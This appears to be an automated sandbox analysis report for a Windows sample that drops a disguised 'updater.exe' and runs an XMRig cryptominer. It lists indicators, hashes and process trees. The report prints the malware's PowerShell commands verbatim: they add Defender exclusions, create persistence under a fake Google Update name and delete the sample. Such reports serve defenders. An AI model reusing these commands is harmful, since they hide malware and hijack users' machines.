Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr 1024/01/2024, 17:15
240124-vstf4aecaj 1023/01/2024, 19:27
240123-x6cfvagbd9 1023/01/2024, 19:27
240123-x6bvbafgem 1023/01/2024, 19:27
240123-x6bjjsgbd8 1023/01/2024, 19:27
240123-x6ax1sfgek 1023/01/2024, 19:27
240123-x6abgsfgej 1023/01/2024, 19:27
240123-x591qagbd7 1023/01/2024, 19:27
240123-x59d7agbd6 1023/01/2024, 19:27
240123-x584esgbd5 10Analysis
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max time kernel
1801s -
max time network
1790s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2884 created 1224 2884 JqLvG94UkYjhxAeg.exe 15 PID 2884 created 1224 2884 JqLvG94UkYjhxAeg.exe 15 PID 2884 created 1224 2884 JqLvG94UkYjhxAeg.exe 15 PID 2884 created 1224 2884 JqLvG94UkYjhxAeg.exe 15 PID 572 created 1224 572 updater.exe 15 PID 572 created 1224 572 updater.exe 15 PID 572 created 1224 572 updater.exe 15 PID 572 created 1224 572 updater.exe 15 PID 1912 created 1224 1912 conhost.exe 15 PID 572 created 1224 572 updater.exe 15 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral15/memory/2040-63-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2040-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2652 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 572 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 552 taskeng.exe -
resource yara_rule behavioral15/memory/2040-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2040-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 572 set thread context of 1912 572 updater.exe 53 PID 572 set thread context of 2040 572 updater.exe 54 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe JqLvG94UkYjhxAeg.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2576 schtasks.exe 2900 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1596 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0fce580e250da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2884 JqLvG94UkYjhxAeg.exe 2884 JqLvG94UkYjhxAeg.exe 2772 powershell.exe 2884 JqLvG94UkYjhxAeg.exe 2884 JqLvG94UkYjhxAeg.exe 2692 powershell.exe 2884 JqLvG94UkYjhxAeg.exe 2884 JqLvG94UkYjhxAeg.exe 2884 JqLvG94UkYjhxAeg.exe 2884 JqLvG94UkYjhxAeg.exe 2628 powershell.exe 572 updater.exe 572 updater.exe 1200 powershell.exe 572 updater.exe 572 updater.exe 1060 powershell.exe 572 updater.exe 572 updater.exe 572 updater.exe 572 updater.exe 1912 conhost.exe 1912 conhost.exe 572 updater.exe 572 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2772 powershell.exe Token: SeDebugPrivilege 2692 powershell.exe Token: SeDebugPrivilege 2628 powershell.exe Token: SeDebugPrivilege 1200 powershell.exe Token: SeDebugPrivilege 1060 powershell.exe Token: SeDebugPrivilege 572 updater.exe Token: SeAssignPrimaryTokenPrivilege 1596 WMIC.exe Token: SeIncreaseQuotaPrivilege 1596 WMIC.exe Token: SeSecurityPrivilege 1596 WMIC.exe Token: SeTakeOwnershipPrivilege 1596 WMIC.exe Token: SeLoadDriverPrivilege 1596 WMIC.exe Token: SeSystemtimePrivilege 1596 WMIC.exe Token: SeBackupPrivilege 1596 WMIC.exe Token: SeRestorePrivilege 1596 WMIC.exe Token: SeShutdownPrivilege 1596 WMIC.exe Token: SeSystemEnvironmentPrivilege 1596 WMIC.exe Token: SeUndockPrivilege 1596 WMIC.exe Token: SeManageVolumePrivilege 1596 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1596 WMIC.exe Token: SeIncreaseQuotaPrivilege 1596 WMIC.exe Token: SeSecurityPrivilege 1596 WMIC.exe Token: SeTakeOwnershipPrivilege 1596 WMIC.exe Token: SeLoadDriverPrivilege 1596 WMIC.exe Token: SeSystemtimePrivilege 1596 WMIC.exe Token: SeBackupPrivilege 1596 WMIC.exe Token: SeRestorePrivilege 1596 WMIC.exe Token: SeShutdownPrivilege 1596 WMIC.exe Token: SeSystemEnvironmentPrivilege 1596 WMIC.exe Token: SeUndockPrivilege 1596 WMIC.exe Token: SeManageVolumePrivilege 1596 WMIC.exe Token: SeLockMemoryPrivilege 2040 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2692 wrote to memory of 2576 2692 powershell.exe 32 PID 2692 wrote to memory of 2576 2692 powershell.exe 32 PID 2692 wrote to memory of 2576 2692 powershell.exe 32 PID 2652 wrote to memory of 2336 2652 cmd.exe 35 PID 2652 wrote to memory of 2336 2652 cmd.exe 35 PID 2652 wrote to memory of 2336 2652 cmd.exe 35 PID 2628 wrote to memory of 660 2628 powershell.exe 38 PID 2628 wrote to memory of 660 2628 powershell.exe 38 PID 2628 wrote to memory of 660 2628 powershell.exe 38 PID 552 wrote to memory of 572 552 taskeng.exe 40 PID 552 wrote to memory of 572 552 taskeng.exe 40 PID 552 wrote to memory of 572 552 taskeng.exe 40 PID 1060 wrote to memory of 2900 1060 powershell.exe 47 PID 1060 wrote to memory of 2900 1060 powershell.exe 47 PID 1060 wrote to memory of 2900 1060 powershell.exe 47 PID 572 wrote to memory of 1912 572 updater.exe 53 PID 2164 wrote to memory of 1596 2164 cmd.exe 50 PID 2164 wrote to memory of 1596 2164 cmd.exe 50 PID 2164 wrote to memory of 1596 2164 cmd.exe 50 PID 572 wrote to memory of 2040 572 updater.exe 54 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1224
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2884
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2772
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2576
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2652
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:660
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1200
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2900
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1796
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2164
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1912
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2040
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2336
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C:\Windows\system32\taskeng.exetaskeng.exe {BF5879E8-3217-4632-B510-7867E4BCC3D3} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:572
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1596
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
309KB
MD54a326e6ffa5bb022a00e6e052051335a
SHA1a2aa5cd84e8c775c2b90d2a5e1f4c9b4417342ed
SHA256c85f1195cab42a8e11e7b532f13a5b2051490ae7d79a7e7e88bacb5bdffb97ee
SHA5129edb0567abb3df935627d2ae8e10493c7cb4fa289f6a043da44d7cff26330e26297822c3eb61238b7f23876e72ddcb2c6bc67dd6ce9dcf00105e0b504fedaba3
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Filesize
1.5MB
MD5db5a6dcba75dd7a4c9390959cebc30ab
SHA1c2e75d5b1a9f6c63b0137061faa3f7970926b6f5
SHA256f482e702f5c5e74ae53c4bb88548a2628acf96fed528190978081e735b732b11
SHA51266f82df5f7699c9378e27ba66835f9f7de992a4eacee28f9de0b1310753655a8f4ff56e15dc39130c0993b3a18833fc55034460b2a4f14c8a74557c456d92e73
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZPY5B8ZGZ9CWR0KTW6YA.temp
Filesize7KB
MD537df624c2f8ef26b018e52c1fb05ef23
SHA13e4ee427d5094f020b3ddf547ce86ba4da916351
SHA256014fcdfabe2558910aee836e8c6960cde57e90778343e85756b47204ecb1d94a
SHA512e09f28443239ab60bb7717fc9422e18cbbfdffcd0f19a94e97524eb903b4860cbb77535b07e7c73d3ea38267b786f87c83beeb70fcfd39e8bc1a90f96013d34e
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Filesize
387KB
MD514e672953ee80ab5a1a48e5e87dae47b
SHA196339234c52facb3a7c7be6c1c892f19b656d187
SHA2565abaf9ad1c080e63fbaf090286ab5617dc7c1e8f4a235f1415bb5073e0a5e419
SHA512b20edbd7480977e60ed49af4ab6a3667e58d11a0dfeddcdbc19183d06a256843b7b969e02b79c0aee02160f160797d34ed72f47bb96de709d1081a9e920d6f32